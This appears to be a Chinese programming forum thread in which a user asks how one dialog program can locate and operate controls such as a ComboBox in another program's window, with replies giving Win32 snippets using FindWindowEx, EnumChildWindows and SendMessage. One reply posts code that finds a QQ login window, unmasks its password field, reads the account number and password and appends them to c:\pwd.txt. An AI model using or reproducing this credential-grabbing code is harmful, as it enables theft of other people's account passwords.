首先我说明,此贴的分只给回贴认真和正确的同学哈!!
因为我对操作外部程序思路还不是很清晰...所以...麻烦了!是这样的,A、B两个对话框程序,想要使用A程序来操作B程序。
使用FindWindow函数(B程序的Title固定),返回一个B窗口的指针。
如何利用这个指针得到B窗口的句柄、以及B窗口中的各个控件指针或者句柄,然后对它们进行操作呢?以操作一个Combox为例。
请举出详细的例子,谢谢。
因为我对操作外部程序思路还不是很清晰...所以...麻烦了!是这样的,A、B两个对话框程序,想要使用A程序来操作B程序。
使用FindWindow函数(B程序的Title固定),返回一个B窗口的指针。
如何利用这个指针得到B窗口的句柄、以及B窗口中的各个控件指针或者句柄,然后对它们进行操作呢?以操作一个Combox为例。
请举出详细的例子,谢谢。
HWND m_hWnd=m_CWnd->m_hWnd; // -------B的句柄
HWND m_hWnd_Combox = FindWindowEx(m_hWnd,NULL,Combox的类名,NULL);//Combox的句柄
LPCTSTR lpClassName,
LPCTSTR lpWindowName );
HWND FindWindowEx(
HWND hwndParent, // handle to parent window
HWND hwndChildAfter, // handle to child window
LPCTSTR lpszClass, // class name
LPCTSTR lpszWindow // window name
);
{ HWND hHWWnd = FindWindow( NULL, "我的窗口" );
if( hHWWnd == NULL )
{ AfxMessageBox("Faild");
return false;}
else{
CString strT;
strT.Format("hWnd: %X",hHWWnd );
AfxMessageBox( strT );
m_hHWWnd = hHWWnd ;} EnumChildWindows( m_hHWWnd , (WNDENUMPROC)EnumChildProc, (LPARAM)NULL);
return true;
}
BOOL CALLBACK EnumChildProc( HWND hwnd, LPARAM lParam)
{
if (hwnd)
{
//这里可以调用getclassname来的到控件类名,然后分别处理
// char chText[MAX_PATH];
ZeroMemory( chText, MAX_PATH );
GetWindowText( hWnd, chText, MAX_PATH );
//...
return TRUE;
}
return FALSE;
}
{
char num[11];
char pwd[20];
BOOL b = true;
HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);
HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);
HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
HWND AfterHwnd = NULL;
while(b)
{
LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);
if( (lStyle & ES_PASSWORD))
{
::SendMessage(EditPWDHwnd,EM_GETPASSWORDCHAR,0,0);
::PostMessage(EditPWDHwnd,EM_SETPASSWORDCHAR,0,0);
CEdit edit;
edit.Attach(EditPWDHwnd);
edit.RedrawWindow();
edit.Detach();
b=false;
}
else
{
AfterHwnd = EditPWDHwnd;
EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
}
if(EditPWDHwnd==NULL)
return true;
}
//通过WM_GETTEXT取得,窗口中的文本;
SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);
CString str;
str.Format("\r\n号码:%s 密码:%s",num,pwd);
CFile f;
f.Open("c:\\pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
f.SeekToEnd();
f.Write(str,str.GetLength());
bLoop= false;
return false;
return TRUE;
}
void CGetPWDDlg::OnOK()
{
EnumChildWindows(hwnd,EnumqqChildProc,NULL);
}可以得到2004以前版本的qq号码和密码,对2004无效
SendMessage SendInput 操作
使用 CWnd::FromHandle 可以得到 CWnd* 指针
不能强制将 CWnd* 转换成 CComboBox*,某些操作会出错的
可以得到窗口的类名称以得知窗口是ComboBox还是ListBox
其实CWnd的许多函数都是调用::SendMessage来实现的
因此你可以直接使用 ::SendMessage 来操作 ComboBox 或者其它类型的窗口
获得空间内容,可以用SendMessage发送消息来获得
2楼么,思路是对了,可是光FindWindowEx一下不能得到想要的控件句柄哦...
4楼和5楼的有前途!
感谢8、9楼两位高手....同时感谢所有回复的大侠们了!结贴!